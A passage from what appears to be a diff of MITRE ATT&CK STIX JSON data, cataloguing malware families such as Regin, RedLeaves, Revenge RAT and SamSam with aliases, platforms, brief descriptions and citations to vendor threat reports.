Legit Login Credentials. Retrieved October 4, 2017.", + "url": "https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "RawPOS", + "x_mitre_contributors": [ + "Walker Johnson" + ], + "x_mitre_aliases": [ + "RawPOS", + "FIENDCRY", + "DUEBREW", + "DRIFTWOOD" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Reaver](https://attack.mitre.org/software/S0172) is a malware family that has been in the wild since at least late 2016. Reporting indicates victims have primarily been associated with the \"Five Poisons,\" which are movements the Chinese government considers dangerous. The type of malware is rare due to its final payload being in the form of [Control Panel Items](https://attack.mitre.org/techniques/T1196). (Citation: Palo Alto Reaver Nov 2017)", + "id": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29", + "external_references": [ + { + "external_id": "S0172", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0172" + }, + { + "source_name": "Reaver", + "description": "(Citation: Palo Alto Reaver Nov 2017)" + }, + { + "source_name": "Palo Alto Reaver Nov 2017", + "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Reaver", + "x_mitre_aliases": [ + "Reaver" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RedLeaves](https://attack.mitre.org/software/S0153) is a malware family used by [menuPass](https://attack.mitre.org/groups/G0045). The code overlaps with [PlugX](https://attack.mitre.org/software/S0013) and may be based upon the open source tool Trochilus. (Citation: PWC Cloud Hopper Technical Annex April 2017) (Citation: FireEye APT10 April 2017)", + "id": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "external_references": [ + { + "external_id": "S0153", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0153" + }, + { + "source_name": "RedLeaves", + "description": "(Citation: PWC Cloud Hopper Technical Annex April 2017)" + }, + { + "source_name": "BUGJUICE", + "description": "Based on similarities in reported malware behavior and open source reporting, it is assessed that the malware named BUGJUICE by FireEye is likely the same as the malware RedLeaves. (Citation: FireEye APT10 April 2017) (Citation: Twitter Nick Carr APT10)" + }, + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + }, + { + "source_name": "Twitter Nick Carr APT10", + "description": "Carr, N.. (2017, April 6). Retrieved June 29, 2017.", + "url": "https://twitter.com/ItsReallyNick/status/850105140589633536" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "RedLeaves", + "x_mitre_contributors": [ + "Edward Millington" + ], + "x_mitre_aliases": [ + "RedLeaves", + "BUGJUICE" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Regin](https://attack.mitre.org/software/S0019) is a malware platform that has targeted victims in a range of industries, including telecom, government, and financial institutions. Some [Regin](https://attack.mitre.org/software/S0019) timestamps date back to 2003. (Citation: Kaspersky Regin)", + "id": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0", + "external_references": [ + { + "external_id": "S0019", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0019" + }, + { + "source_name": "Kaspersky Regin", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.", + "url": "https://securelist.com/files/2014/11/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:17.959Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Regin", + "x_mitre_aliases": [ + "Regin" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remexi](https://attack.mitre.org/software/S0375) is a Windows-based Trojan that was developed in the C programming language.(Citation: Securelist Remexi Jan 2019)", + "id": "malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5", + "external_references": [ + { + "external_id": "S0375", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0375" + }, + { + "source_name": "Securelist Remexi Jan 2019", + "description": "Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019.", + "url": "https://securelist.com/chafer-used-remexi-malware/89538/" + } + ], + "x_mitre_version": "1.0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2019-04-22T20:18:06.862Z", + "type": "malware", + "created": "2019-04-17T19:18:00.270Z", + "x_mitre_platforms": [ + "Windows" + ], + "name": "Remexi", + "x_mitre_aliases": [ + "Remexi" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RemoteCMD](https://attack.mitre.org/software/S0166) is a custom tool used by [APT3](https://attack.mitre.org/groups/G0022) to execute commands on a remote system similar to SysInternal's PSEXEC functionality. (Citation: Symantec Buckeye)", + "id": "malware--4e6b9625-bbda-4d96-a652-b3bb45453f26", + "external_references": [ + { + "external_id": "S0166", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0166" + }, + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "RemoteCMD", + "x_mitre_aliases": [ + "RemoteCMD" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remsec](https://attack.mitre.org/software/S0125) is a modular backdoor that has been used by [Strider](https://attack.mitre.org/groups/G0041) and appears to have been designed primarily for espionage purposes. Many of its modules are written in Lua. (Citation: Symantec Strider Blog)", + "id": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "external_references": [ + { + "external_id": "S0125", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0125" + }, + { + "source_name": "ProjectSauron", + "description": "ProjectSauron is used to refer both to the threat group also known as G0041 as well as the malware platform also known as S0125. (Citation: Kaspersky ProjectSauron Blog)" + }, + { + "source_name": "Symantec Strider Blog", + "description": "Symantec Security Response. (2016, August 7). Strider: Cyberespionage group turns eye of Sauron on targets. Retrieved August 17, 2016.", + "url": "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets" + }, + { + "source_name": "Kaspersky ProjectSauron Blog", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 8). ProjectSauron: top level cyber-espionage platform covertly extracts encrypted government comms. Retrieved August 17, 2016.", + "url": "https://securelist.com/faq-the-projectsauron-apt/75533/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:33:12.858Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Remsec", + "x_mitre_aliases": [ + "Remsec", + "Backdoor.Remsec", + "ProjectSauron" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Revenge RAT](https://attack.mitre.org/software/S0379) is a freely available remote access tool written in .NET (C#).(Citation: Cylance Shaheen Nov 2018)(Citation: Cofense RevengeRAT Feb 2019)", + "id": "malware--bdb27a1d-1844-42f1-a0c0-826027ae0326", + "external_references": [ + { + "external_id": "S0379", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0379" + }, + { + "source_name": "Cylance Shaheen Nov 2018", + "description": "Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.", + "url": "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517" + }, + { + "source_name": "Cofense RevengeRAT Feb 2019", + "description": "Gannon, M. (2019, February 11). With Upgrades in Delivery and Support Infrastructure, Revenge RAT Malware is a Bigger Threat. Retrieved May 1, 2019.", + "url": "https://cofense.com/upgrades-delivery-support-infrastructure-revenge-rat-malware-bigger-threat/" + } + ], + "x_mitre_version": "1.0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2019-06-12T20:05:17.698Z", + "type": "malware", + "created": "2019-05-02T01:07:36.780Z", + "x_mitre_platforms": [ + "Windows" + ], + "name": "Revenge RAT", + "x_mitre_aliases": [ + "Revenge RAT" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RogueRobin](https://attack.mitre.org/software/S0270) is a payload used by [DarkHydrus](https://attack.mitre.org/groups/G0079) that has been developed in PowerShell and C#. (Citation: Unit 42 DarkHydrus July 2018)(Citation: Unit42 DarkHydrus Jan 2019)", + "id": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "external_references": [ + { + "external_id": "S0270", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0270" + }, + { + "source_name": "RogueRobin", + "description": "(Citation: Unit 42 DarkHydrus July 2018)" + }, + { + "source_name": "Unit 42 DarkHydrus July 2018", + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + }, + { + "source_name": "Unit42 DarkHydrus Jan 2019", + "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019.", + "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/" + } + ], + "x_mitre_version": "2.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-04-24T23:55:43.081Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "RogueRobin", + "x_mitre_aliases": [ + "RogueRobin" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Rover](https://attack.mitre.org/software/S0090) is malware suspected of being used for espionage purposes. It was used in 2015 in a targeted email sent to an Indian Ambassador to Afghanistan. (Citation: Palo Alto Rover)", + "id": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38", + "external_references": [ + { + "external_id": "S0090", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0090" + }, + { + "source_name": "Palo Alto Rover", + "description": "Ray, V., Hayashi, K. (2016, February 29). New Malware \u2018Rover\u2019 Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:58.226Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Rover", + "x_mitre_aliases": [ + "Rover" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RunningRAT](https://attack.mitre.org/software/S0253) is a remote access tool that appeared in operations surrounding the 2018 Pyeongchang Winter Olympics along with [Gold Dragon](https://attack.mitre.org/software/S0249) and [Brave Prince](https://attack.mitre.org/software/S0252). (Citation: McAfee Gold Dragon)", + "id": "malware--60d50676-459a-47dd-92e9-a827a9fe9c58", + "external_references": [ + { + "external_id": "S0253", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0253" + }, + { + "source_name": "RunningRAT", + "description": "(Citation: McAfee Gold Dragon)" + }, + { + "source_name": "McAfee Gold Dragon", + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "RunningRAT", + "x_mitre_aliases": [ + "RunningRAT" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[S-Type](https://attack.mitre.org/software/S0085) is a backdoor that was used by [Dust Storm](https://attack.mitre.org/groups/G0031) from 2013 to 2014. (Citation: Cylance Dust Storm)", + "id": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131", + "external_references": [ + { + "external_id": "S0085", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0085" + }, + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:55.925Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "S-Type", + "x_mitre_aliases": [ + "S-Type" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SEASHARPEE](https://attack.mitre.org/software/S0185) is a Web shell that has been used by [APT34](https://attack.mitre.org/groups/G0057). (Citation: FireEye APT34 Webinar Dec 2017)", + "id": "malware--0998045d-f96e-4284-95ce-3c8219707486", + "external_references": [ + { + "external_id": "S0185", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0185" + }, + { + "source_name": "SEASHARPEE", + "description": "(Citation: FireEye APT34 Webinar Dec 2017)" + }, + { + "source_name": "FireEye APT34 Webinar Dec 2017", + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "SEASHARPEE", + "x_mitre_aliases": [ + "SEASHARPEE" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SHIPSHAPE](https://attack.mitre.org/software/S0028) is malware developed by [APT30](https://attack.mitre.org/groups/G0013) that allows propagation and exfiltration of data over removable devices. [APT30](https://attack.mitre.org/groups/G0013) may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)", + "id": "malware--b1de6916-7a22-4460-8d26-6b5483ffaa2a", + "external_references": [ + { + "external_id": "S0028", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0028" + }, + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:21.366Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "SHIPSHAPE", + "x_mitre_aliases": [ + "SHIPSHAPE" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SHOTPUT](https://attack.mitre.org/software/S0063) is a custom backdoor used by [APT3](https://attack.mitre.org/groups/G0022). (Citation: FireEye Clandestine Wolf)", + "id": "malware--58adaaa8-f1e8-4606-9a08-422e568461eb", + "external_references": [ + { + "external_id": "S0063", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0063" + }, + { + "source_name": "Backdoor.APT.CookieCutter", + "description": "(Citation: FireEye Clandestine Fox Part 2)" + }, + { + "source_name": "Pirpi", + "description": "(Citation: FireEye Clandestine Fox Part 2)" + }, + { + "source_name": "FireEye Clandestine Wolf", + "description": "Eng, E., Caselden, D.. (2015, June 23). Operation Clandestine Wolf \u2013 Adobe Flash Zero-Day in APT3 Phishing Campaign. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html" + }, + { + "source_name": "FireEye Clandestine Fox Part 2", + "description": "Scott, M.. (2014, June 10). Clandestine Fox, Part Deux. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:42.754Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "SHOTPUT", + "x_mitre_aliases": [ + "SHOTPUT", + "Backdoor.APT.CookieCutter", + "Pirpi" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SHUTTERSPEED](https://attack.mitre.org/software/S0217) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067). (Citation: FireEye APT37 Feb 2018)", + "id": "malware--4189a679-72ed-4a89-a57c-7f689712ecf8", + "external_references": [ + { + "external_id": "S0217", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0217" + }, + { + "source_name": "SHUTTERSPEED", + "description": "(Citation: FireEye APT37 Feb 2018)" + }, + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "SHUTTERSPEED", + "x_mitre_aliases": [ + "SHUTTERSPEED" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SLOWDRIFT](https://attack.mitre.org/software/S0218) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067) against academic and strategic victims in South Korea. (Citation: FireEye APT37 Feb 2018)", + "id": "malware--414dc555-c79e-4b24-a2da-9b607f7eaf16", + "external_references": [ + { + "external_id": "S0218", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0218" + }, + { + "source_name": "SLOWDRIFT", + "description": "(Citation: FireEye APT37 Feb 2018)" + }, + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "SLOWDRIFT", + "x_mitre_aliases": [ + "SLOWDRIFT" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SNUGRIDE](https://attack.mitre.org/software/S0159) is a backdoor that has been used by [menuPass](https://attack.mitre.org/groups/G0045) as first stage malware. (Citation: FireEye APT10 April 2017)", + "id": "malware--3240cbe4-c550-443b-aa76-cc2a7058b870", + "external_references": [ + { + "external_id": "S0159", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0159" + }, + { + "source_name": "SNUGRIDE", + "description": "(Citation: FireEye APT10 April 2017)" + }, + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "SNUGRIDE", + "x_mitre_aliases": [ + "SNUGRIDE" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SOUNDBITE](https://attack.mitre.org/software/S0157) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050). (Citation: FireEye APT32 May 2017)", + "id": "malware--9ca488bd-9587-48ef-b923-1743523e63b2", + "external_references": [ + { + "external_id": "S0157", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0157" + }, + { + "source_name": "SOUNDBITE", + "description": "(Citation: FireEye APT32 May 2017)" + }, + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "SOUNDBITE", + "x_mitre_aliases": [ + "SOUNDBITE" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SPACESHIP](https://attack.mitre.org/software/S0035) is malware developed by [APT30](https://attack.mitre.org/groups/G0013) that allows propagation and exfiltration of data over removable devices. [APT30](https://attack.mitre.org/groups/G0013) may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)", + "id": "malware--8b880b41-5139-4807-baa9-309690218719", + "external_references": [ + { + "external_id": "S0035", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0035" + }, + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:28.257Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "SPACESHIP", + "x_mitre_aliases": [ + "SPACESHIP" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SQLRat](https://attack.mitre.org/software/S0390) is malware that executes SQL scripts to avoid leaving traditional host artifacts. [FIN7](https://attack.mitre.org/groups/G0046) has been observed using it.(Citation: Flashpoint FIN 7 March 2019)", + "id": "malware--8fc6c9e7-a162-4ca4-a488-f1819e9a7b06", + "external_references": [ + { + "external_id": "S0390", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0390" + }, + { + "source_name": "SQLRat", + "description": "(Citation: Flashpoint FIN 7 March 2019)" + }, + { + "source_name": "Flashpoint FIN 7 March 2019", + "description": "Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.", + "url": "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/ " + } + ], + "x_mitre_version": "1.0", + "modified": "2019-06-30T23:27:21.997Z", + "type": "malware", + "created": "2019-06-18T18:40:33.671Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "SQLRat", + "x_mitre_aliases": [ + "SQLRat" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Sakula](https://attack.mitre.org/software/S0074) is a remote access tool (RAT) that first surfaced in 2012 and was used in intrusions throughout 2015. (Citation: Dell Sakula)", + "id": "malware--96b08451-b27a-4ff6-893f-790e26393a8e", + "external_references": [ + { + "external_id": "S0074", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0074" + }, + { + "source_name": "Dell Sakula", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.", + "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:48.482Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Sakula", + "x_mitre_aliases": [ + "Sakula", + "Sakurel", + "VIPER" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SamSam](https://attack.mitre.org/software/S0370) is ransomware that appeared in early 2016. Unlike some ransomware, its variants have required operators to manually interact with the malware to execute some of its core components.(Citation: US-CERT SamSam 2018)(Citation: Talos SamSam Jan 2018)(Citation: Sophos SamSam Apr 2018)(Citation: Symantec SamSam Oct 2018)", + "id": "malware--4d56e6e9-1a6d-46e3-896c-dfdf3cc96e62", + "external_references": [ + { + "external_id": "S0370", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0370" + }, + { + "source_name": "Samas", + "description": "(Citation: US-CERT SamSam 2018)" + }, + { + "source_name": "US-CERT SamSam 2018", + "description": "US-CERT. (2018, December 3). Alert (AA18-337A): SamSam Ransomware. Retrieved March 15, 2019.", + "url": "https://www.us-cert.gov/ncas/alerts/AA18-337A" + }, + { + "source_name": "Talos SamSam Jan 2018", + "description": "Ventura, V. (2018, January 22). SamSam - The Evolution Continues Netting Over $325,000 in 4 Weeks. Retrieved April 16, 2019.", + "url": "https://blog.talosintelligence.com/2018/01/samsam-evolution-continues-netting-over.html" + }, + { + "source_name": 